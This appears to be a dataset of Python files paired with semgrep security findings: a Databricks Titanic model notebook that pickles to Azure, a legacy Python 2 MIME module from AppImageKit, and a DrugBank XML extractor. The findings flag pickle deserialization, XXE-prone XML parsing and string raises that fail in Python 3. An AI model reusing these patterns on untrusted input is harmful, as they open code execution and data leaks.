data = data.drop(['Sex', 'Embarked'], axis=1)
except:
pass
# Move survived column first as it's our outcome
cols = data.columns.tolist()
cols = [cols[1]] + cols[0:1] + cols[2:]
data = data[cols]
# Column info
data.info()
# Get our training data in NumPy format
train_data = data.values
# COMMAND ----------
# MAGIC %md ## Scikit-learn - Training the model
# COMMAND ----------
from sklearn.ensemble import RandomForestClassifier
# Use RandomForestClassifier
model = RandomForestClassifier(n_estimators = 100)
model = model.fit(train_data[0:,2:], train_data[0:,0])
# COMMAND ----------
# MAGIC %md ## Test
# COMMAND ----------
answer = model.predict_proba([[3, 42, 0, 0, 2, 1, 1]])
print(answer[0])
# COMMAND ----------
# MAGIC %md ## Pickle model and store in Azure storage
# COMMAND ----------
from collections import OrderedDict
import pickle
from azure.storage.blob import BlockBlobService
try:
# Widgets are how we get values passed from a DataBricks job
# Model version, name & storage-account is passed into job, and storage key is kept in Azure Key Vault
STORAGE_KEY = dbutils.secrets.get("keyvault-secrets", "storage-key")
STORAGE_ACCOUNT = dbutils.widgets.get("storage_account")
MODEL_VERSION = dbutils.widgets.get("model_version")
STORAGE_CONTAINER = dbutils.widgets.get("model_name")
except:
pass
# STORAGE_ACCOUNT value should only be set when this Notebook is invoked via a job
# So we only pickle and store in Azure blobs when running as a job
if 'STORAGE_ACCOUNT' in vars():
# ORDER IS IMPORTANT! This is why we use OrderedDict and create entries one by one
# Lookup is used by the API app to convert parameter names and the string values back to encoded features
lookup = OrderedDict()
lookup["Pclass"] = 0
lookup["Age"] = 0
lookup["SibSp"] = 0
lookup["Parch"] = 0
lookup["Fare"] = 0
lookup["Gender"] = {"male": 1, "female": 0}
lookup["Port"] = {"Cherbourg": 1, "Southampton": 2, "Queenstown": 3}
# Create output lookup, called flags
flags = ["died_proba", "survived_proba"]
# Pickle the whole damn lot
with open("model.pkl" , 'wb') as file:
pickle.dump(model, file)
file.close()
with open("lookup.pkl" , 'wb') as file:
pickle.dump(lookup, file)
file.close()
with open("flags.pkl" , 'wb') as file:
pickle.dump(flags, file)
file.close()
# Create the BlockBlockService that is used to call the Blob service for the storage account
block_blob_service = BlockBlobService(account_name=STORAGE_ACCOUNT, account_key=STORAGE_KEY)
# Create a container
block_blob_service.create_container(STORAGE_CONTAINER)
# Upload the model and other pickles to the model registry
block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/model.pkl", "model.pkl")
block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/lookup.pkl", "lookup.pkl")
block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/flags.pkl", "flags.pkl")
# Job complete
dbutils.notebook.exit("Version: " + MODEL_VERSION + " pickled model and lookups stored in " + STORAGE_ACCOUNT + "/" + STORAGE_CONTAINER+"/"+MODEL_VERSION)
| 129 | 29 | 156 | 15 | 1,015 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2569b74f84f5922_0e7829ff", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2569b74f84f5922.py", "start": {"line": 107, "col": 5, "offset": 2813}, "end": {"line": 107, "col": 29, "offset": 2837}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2569b74f84f5922_6dd7d372", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 111, "line_end": 111, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2569b74f84f5922.py", "start": {"line": 111, "col": 5, "offset": 2904}, "end": {"line": 111, "col": 30, "offset": 2929}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2569b74f84f5922_5bf1bc59", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 115, "line_end": 115, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2569b74f84f5922.py", "start": {"line": 115, "col": 5, "offset": 2995}, "end": {"line": 115, "col": 29, "offset": 3019}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
107,
111,
115
] | [
107,
111,
115
] | [
5,
5,
5
] | [
29,
30,
29
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | scikit-titanic.py | /archive/notebooks/scikit-titanic.py | benc-uk/batcomputer | MIT | |
2024-11-18T18:16:14.418691+00:00 | 1,476,576,743,000 | a292a6051cbeaec96155366fa63d875b27e8a0f4 | 2 | {
"blob_id": "a292a6051cbeaec96155366fa63d875b27e8a0f4",
"branch_name": "refs/heads/master",
"committer_date": 1476576743000,
"content_id": "c24794d8637801e8eb8e67ebe9c29650def6f3d9",
"detected_licenses": [
"MIT"
],
"directory_id": "7f89fb972c346b73fbcadbe7a682a75f9143dd72",
"extension": "py",
"filename": "Mime.py",
"fork_events_count": 0,
"gha_created_at": 1476613129000,
"gha_event_created_at": 1476613129000,
"gha_language": null,
"gha_license_id": null,
"github_id": 71043038,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14070,
"license": "MIT",
"license_type": "permissive",
"path": "/AppDirAssistant.AppDir/usr/bin/AppImageKit/xxdg/Mime.py",
"provenance": "stack-edu-0054.json.gz:569186",
"repo_name": "hideout/AppImageKit",
"revision_date": 1476576743000,
"revision_id": "42453e26db07f6835dd7bf3376c7e94cffc88835",
"snapshot_id": "8979e25f471c5fd458fb3a861dc7eb635a398874",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/hideout/AppImageKit/42453e26db07f6835dd7bf3376c7e94cffc88835/AppDirAssistant.AppDir/usr/bin/AppImageKit/xxdg/Mime.py",
"visit_date": "2021-01-11T18:18:57.885140"
} | 2.359375 | stackv2 | """
This module is based on a rox module (LGPL):
http://cvs.sourceforge.net/viewcvs.py/rox/ROX-Lib2/python/rox/mime.py?rev=1.21&view=log
This module provides access to the shared MIME database.
types is a dictionary of all known MIME types, indexed by the type name, e.g.
types['application/x-python']
Applications can install information about MIME types by storing an
XML file as <MIME>/packages/<application>.xml and running the
update-mime-database command, which is provided by the freedesktop.org
shared mime database package.
See http://www.freedesktop.org/standards/shared-mime-info-spec/ for
information about the format of these files.
(based on version 0.13)
"""
import os
import stat
import fnmatch
import xdg.BaseDirectory
import xdg.Xocale
from xml.dom import Node, minidom, XML_NAMESPACE
FREE_NS = 'http://www.freedesktop.org/standards/shared-mime-info'
types = {} # Maps MIME names to type objects
exts = None # Maps extensions to types
globs = None # List of (glob, type) pairs
literals = None # Maps liternal names to types
magic = None
def _get_node_data(node):
"""Get text of XML node"""
return ''.join([n.nodeValue for n in node.childNodes]).strip()
def lookup(media, subtype = None):
"Get the MIMEtype object for this type, creating a new one if needed."
if subtype is None and '/' in media:
media, subtype = media.split('/', 1)
if (media, subtype) not in types:
types[(media, subtype)] = MIMEtype(media, subtype)
return types[(media, subtype)]
class MIMEtype:
"""Type holding data about a MIME type"""
def __init__(self, media, subtype):
"Don't use this constructor directly; use mime.lookup() instead."
assert media and '/' not in media
assert subtype and '/' not in subtype
assert (media, subtype) not in types
self.media = media
self.subtype = subtype
self._comment = None
def _load(self):
"Loads comment for current language. Use get_comment() instead."
resource = os.path.join('mime', self.media, self.subtype + '.xml')
for path in xdg.BaseDirectory.load_data_paths(resource):
doc = minidom.parse(path)
if doc is None:
continue
for comment in doc.documentElement.getElementsByTagNameNS(FREE_NS, 'comment'):
lang = comment.getAttributeNS(XML_NAMESPACE, 'lang') or 'en'
goodness = 1 + (lang in xdg.Xocale.langs)
if goodness > self._comment[0]:
self._comment = (goodness, _get_node_data(comment))
if goodness == 2: return
# FIXME: add get_icon method
def get_comment(self):
"""Returns comment for current language, loading it if needed."""
# Should we ever reload?
if self._comment is None:
self._comment = (0, str(self))
self._load()
return self._comment[1]
def __str__(self):
return self.media + '/' + self.subtype
def __repr__(self):
return '[%s: %s]' % (self, self._comment or '(comment not loaded)')
class MagicRule:
def __init__(self, f):
self.next=None
self.prev=None
#print line
ind=''
while True:
c=f.read(1)
if c=='>':
break
ind+=c
if not ind:
self.nest=0
else:
self.nest=int(ind)
start=''
while True:
c=f.read(1)
if c=='=':
break
start+=c
self.start=int(start)
hb=f.read(1)
lb=f.read(1)
self.lenvalue=ord(lb)+(ord(hb)<<8)
self.value=f.read(self.lenvalue)
c=f.read(1)
if c=='&':
self.mask=f.read(self.lenvalue)
c=f.read(1)
else:
self.mask=None
if c=='~':
w=''
while c!='+' and c!='\n':
c=f.read(1)
if c=='+' or c=='\n':
break
w+=c
self.word=int(w)
else:
self.word=1
if c=='+':
r=''
while c!='\n':
c=f.read(1)
if c=='\n':
break
r+=c
#print r
self.range=int(r)
else:
self.range=1
if c!='\n':
raise 'Malformed MIME magic line'
def getLength(self):
return self.start+self.lenvalue+self.range
def appendRule(self, rule):
if self.nest<rule.nest:
self.next=rule
rule.prev=self
elif self.prev:
self.prev.appendRule(rule)
def match(self, buffer):
if self.match0(buffer):
if self.next:
return self.next.match(buffer)
return True
def match0(self, buffer):
l=len(buffer)
for o in range(self.range):
s=self.start+o
e=s+self.lenvalue
if l<e:
return False
if self.mask:
test=''
for i in range(self.lenvalue):
c=ord(buffer[s+i]) & ord(self.mask[i])
test+=chr(c)
else:
test=buffer[s:e]
if test==self.value:
return True
def __repr__(self):
return '<MagicRule %d>%d=[%d]%s&%s~%d+%d>' % (self.nest,
self.start,
self.lenvalue,
`self.value`,
`self.mask`,
self.word,
self.range)
class MagicType:
def __init__(self, mtype):
self.mtype=mtype
self.top_rules=[]
self.last_rule=None
def getLine(self, f):
nrule=MagicRule(f)
if nrule.nest and self.last_rule:
self.last_rule.appendRule(nrule)
else:
self.top_rules.append(nrule)
self.last_rule=nrule
return nrule
def match(self, buffer):
for rule in self.top_rules:
if rule.match(buffer):
return self.mtype
def __repr__(self):
return '<MagicType %s>' % self.mtype
class MagicDB:
def __init__(self):
self.types={} # Indexed by priority, each entry is a list of type rules
self.maxlen=0
def mergeFile(self, fname):
f=file(fname, 'r')
line=f.readline()
if line!='MIME-Magic\0\n':
raise 'Not a MIME magic file'
while True:
shead=f.readline()
#print shead
if not shead:
break
if shead[0]!='[' or shead[-2:]!=']\n':
raise 'Malformed section heading'
pri, tname=shead[1:-2].split(':')
#print shead[1:-2]
pri=int(pri)
mtype=lookup(tname)
try:
ents=self.types[pri]
except:
ents=[]
self.types[pri]=ents
magictype=MagicType(mtype)
#print tname
#rline=f.readline()
c=f.read(1)
f.seek(-1, 1)
while c and c!='[':
rule=magictype.getLine(f)
#print rule
if rule and rule.getLength()>self.maxlen:
self.maxlen=rule.getLength()
c=f.read(1)
f.seek(-1, 1)
ents.append(magictype)
#self.types[pri]=ents
if not c:
break
def match_data(self, data, max_pri=100, min_pri=0):
pris=self.types.keys()
pris.sort(lambda a, b: -cmp(a, b))
for pri in pris:
#print pri, max_pri, min_pri
if pri>max_pri:
continue
if pri<min_pri:
break
for type in self.types[pri]:
m=type.match(data)
if m:
return m
def match(self, path, max_pri=100, min_pri=0):
try:
buf=file(path, 'r').read(self.maxlen)
return self.match_data(buf, max_pri, min_pri)
except:
pass
return None
def __repr__(self):
return '<MagicDB %s>' % self.types
# Some well-known types
text = lookup('text', 'plain')
inode_block = lookup('inode', 'blockdevice')
inode_char = lookup('inode', 'chardevice')
inode_dir = lookup('inode', 'directory')
inode_fifo = lookup('inode', 'fifo')
inode_socket = lookup('inode', 'socket')
inode_symlink = lookup('inode', 'symlink')
inode_door = lookup('inode', 'door')
app_exe = lookup('application', 'executable')
_cache_uptodate = False
def _cache_database():
global exts, globs, literals, magic, _cache_uptodate
_cache_uptodate = True
exts = {} # Maps extensions to types
globs = [] # List of (glob, type) pairs
literals = {} # Maps liternal names to types
magic = MagicDB()
def _import_glob_file(path):
"""Loads name matching information from a MIME directory."""
for line in file(path):
if line.startswith('#'): continue
line = line[:-1]
type_name, pattern = line.split(':', 1)
mtype = lookup(type_name)
if pattern.startswith('*.'):
rest = pattern[2:]
if not ('*' in rest or '[' in rest or '?' in rest):
exts[rest] = mtype
continue
if '*' in pattern or '[' in pattern or '?' in pattern:
globs.append((pattern, mtype))
else:
literals[pattern] = mtype
for path in xdg.BaseDirectory.load_data_paths(os.path.join('mime', 'globs')):
_import_glob_file(path)
for path in xdg.BaseDirectory.load_data_paths(os.path.join('mime', 'magic')):
magic.mergeFile(path)
# Sort globs by length
globs.sort(lambda a, b: cmp(len(b[0]), len(a[0])))
def get_type_by_name(path):
"""Returns type of file by its name, or None if not known"""
if not _cache_uptodate:
_cache_database()
leaf = os.path.basename(path)
if leaf in literals:
return literals[leaf]
lleaf = leaf.lower()
if lleaf in literals:
return literals[lleaf]
ext = leaf
while 1:
p = ext.find('.')
if p < 0: break
ext = ext[p + 1:]
if ext in exts:
return exts[ext]
ext = lleaf
while 1:
p = ext.find('.')
if p < 0: break
ext = ext[p+1:]
if ext in exts:
return exts[ext]
for (glob, mime_type) in globs:
if fnmatch.fnmatch(leaf, glob):
return mime_type
if fnmatch.fnmatch(lleaf, glob):
return mime_type
return None
def get_type_by_contents(path, max_pri=100, min_pri=0):
"""Returns type of file by its contents, or None if not known"""
if not _cache_uptodate:
_cache_database()
return magic.match(path, max_pri, min_pri)
def get_type_by_data(data, max_pri=100, min_pri=0):
"""Returns type of the data"""
if not _cache_uptodate:
_cache_database()
return magic.match_data(data, max_pri, min_pri)
def get_type(path, follow=1, name_pri=100):
"""Returns type of file indicated by path.
path - pathname to check (need not exist)
follow - when reading file, follow symbolic links
name_pri - Priority to do name matches. 100=override magic"""
if not _cache_uptodate:
_cache_database()
try:
if follow:
st = os.stat(path)
else:
st = os.lstat(path)
except:
t = get_type_by_name(path)
return t or text
if stat.S_ISREG(st.st_mode):
t = get_type_by_contents(path, min_pri=name_pri)
if not t: t = get_type_by_name(path)
if not t: t = get_type_by_contents(path, max_pri=name_pri)
if t is None:
if stat.S_IMODE(st.st_mode) & 0111:
return app_exe
else:
return text
return t
elif stat.S_ISDIR(st.st_mode): return inode_dir
elif stat.S_ISCHR(st.st_mode): return inode_char
elif stat.S_ISBLK(st.st_mode): return inode_block
elif stat.S_ISFIFO(st.st_mode): return inode_fifo
elif stat.S_ISLNK(st.st_mode): return inode_symlink
elif stat.S_ISSOCK(st.st_mode): return inode_socket
return inode_door
def install_mime_info(application, package_file):
"""Copy 'package_file' as ~/.local/share/mime/packages/<application>.xml.
If package_file is None, install <app_dir>/<application>.xml.
If already installed, does nothing. May overwrite an existing
file with the same name (if the contents are different)"""
application += '.xml'
new_data = file(package_file).read()
# See if the file is already installed
package_dir = os.path.join('mime', 'packages')
resource = os.path.join(package_dir, application)
for x in xdg.BaseDirectory.load_data_paths(resource):
try:
old_data = file(x).read()
except:
continue
if old_data == new_data:
return # Already installed
global _cache_uptodate
_cache_uptodate = False
# Not already installed; add a new copy
# Create the directory structure...
new_file = os.path.join(xdg.BaseDirectory.save_data_path(package_dir), application)
# Write the file...
file(new_file, 'w').write(new_data)
# Update the database...
command = 'update-mime-database'
if os.spawnlp(os.P_WAIT, command, command, xdg.BaseDirectory.save_data_path('mime')):
os.unlink(new_file)
raise Exception("The '%s' command returned an error code!\n" \
"Make sure you have the freedesktop.org shared MIME package:\n" \
"http://standards.freedesktop.org/shared-mime-info/") % command
| 474 | 28.68 | 90 | 19 | 3,347 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_522776996d096cd6_c88a1708", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 1, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 29, "col": 1, "offset": 763}, "end": {"line": 29, "col": 49, "offset": 811}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_522776996d096cd6_60bfb2d5", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "remediation": "", "location": {"file_path": "unknown", "line_start": 156, "line_end": 156, "column_start": 13, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 156, "col": 13, "offset": 4443}, "end": {"line": 156, "col": 46, "offset": 4476}, "extra": {"message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_522776996d096cd6_3575cf78", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "remediation": "", "location": {"file_path": "unknown", "line_start": 237, "line_end": 237, "column_start": 13, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 237, "col": 13, "offset": 6635}, "end": {"line": 237, "col": 42, "offset": 6664}, "extra": {"message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_522776996d096cd6_be55925b", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "remediation": "", "location": {"file_path": "unknown", "line_start": 245, "line_end": 245, "column_start": 17, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "path": "/tmp/tmpb8jm_z1l/522776996d096cd6.py", "start": {"line": 245, "col": 17, "offset": 6857}, "end": {"line": 245, "col": 50, "offset": 6890}, "extra": {"message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
29
] | [
29
] | [
1
] | [
49
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | Mime.py | /AppDirAssistant.AppDir/usr/bin/AppImageKit/xxdg/Mime.py | hideout/AppImageKit | MIT | |
2024-11-18T19:31:06.911050+00:00 | 1,689,234,174,000 | 91fd019be600fc0b587711b10c6639c9ef7fe3ab | 2 | {
"blob_id": "91fd019be600fc0b587711b10c6639c9ef7fe3ab",
"branch_name": "refs/heads/master",
"committer_date": 1689234174000,
"content_id": "e9e6b93871ea59cec6cf7b76c47341f9c39d4709",
"detected_licenses": [
"MIT"
],
"directory_id": "f250267b20972b9f8d50c60a89dda36e7ccfc1b3",
"extension": "py",
"filename": "ExtractFromDrugbank.py",
"fork_events_count": 4,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 256737128,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2400,
"license": "MIT",
"license_type": "permissive",
"path": "/py_work/spider/xml/ExtractFromDrugbank.py",
"provenance": "stack-edu-0054.json.gz:569210",
"repo_name": "kotori-y/kotori_work",
"revision_date": 1689234174000,
"revision_id": "2c1e0c7ce906f9585b6b665759f909020bd15682",
"snapshot_id": "372f0ea96a973570c171c3743a7fd8f94ffcb1d1",
"src_encoding": "UTF-8",
"star_events_count": 7,
"url": "https://raw.githubusercontent.com/kotori-y/kotori_work/2c1e0c7ce906f9585b6b665759f909020bd15682/py_work/spider/xml/ExtractFromDrugbank.py",
"visit_date": "2023-07-20T16:33:12.909696"
} | 2.40625 | stackv2 | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 8 13:34:44 2019
You are not expected to understand my codes!
@Author: Kotori_Y
@Blog: blog.moyule.me
@Weibo: Michariel
@Mail: yzjkid9@gmial.com
I love Megumi forerver!
"""
import xml.etree.ElementTree as ET
import os
import pandas as pd
os.chdir(r'C:\DrugBank\ver5.1.2')
file = 'full database.xml'
SMIS = []
MWS = []
MFS = []
INchikey = []
Name = []
Id = []
CAS = []
ATCS = []
http = '{http://www.drugbank.ca}'
tree = ET.parse(file)
drugs = tree.getroot()
for drug in drugs:
SMI = None
MW = None
MF = None
inchikey = None
ATC = []
name,bank_id,cas = drug.findall(http+'name'),drug[0],drug.findall(http+'cas-number')
for exp in drug.findall(http+'experimental-properties'):
for property in exp.findall(http+'property'):
for kind,value in zip(property.findall(http+'kind'),property.findall(http+'value')):
if kind.text == 'Molecular Weight':
MW = value.text
elif kind.text == 'Molecular Formula':
MF = value.text
else:
pass
for cal in drug.findall(http+'calculated-properties'):
for property in cal.findall(http+'property'):
for kind,value in zip(property.findall(http+'kind'),property.findall(http+'value')):
if kind.text == 'Molecular Weight' and MW == None:
MW = value.text
elif kind.text == 'SMILES':
SMI = value.text
elif kind.text == 'InChIKey':
inchikey = value.text
elif kind.text == 'Molecular Formula':
MF = value.text
else:
pass
for atcs in drug.findall(http+'atc-codes'):
for atc in atcs.findall(http+'atc-code'):
ATC.append(atc.attrib['code'])
Id.append(bank_id.text)
Name.append(name[0].text)
MFS.append(MF)
MWS.append(MW)
CAS.append(cas[0].text)
ATCS.append(ATC)
INchikey.append(inchikey)
SMIS.append(SMI)
df = pd.DataFrame()
df['DrugBank_ID'] = Id
df['Name'] = Name
df['Molecular_Formula'] = MFS
df['Molecular_Weight'] = MWS
df['CAS'] = CAS
df['ATC_Code'] = ATCS
df['InChIKey'] = INchikey
df['SMILES'] = SMIS
